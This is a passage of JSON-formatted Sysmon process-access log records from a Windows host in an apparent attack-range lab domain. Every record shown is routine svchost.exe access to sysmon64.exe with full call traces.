|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3087,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3088,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3089,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3090,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:26","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3091,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:26.306\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:26.306","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:26","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 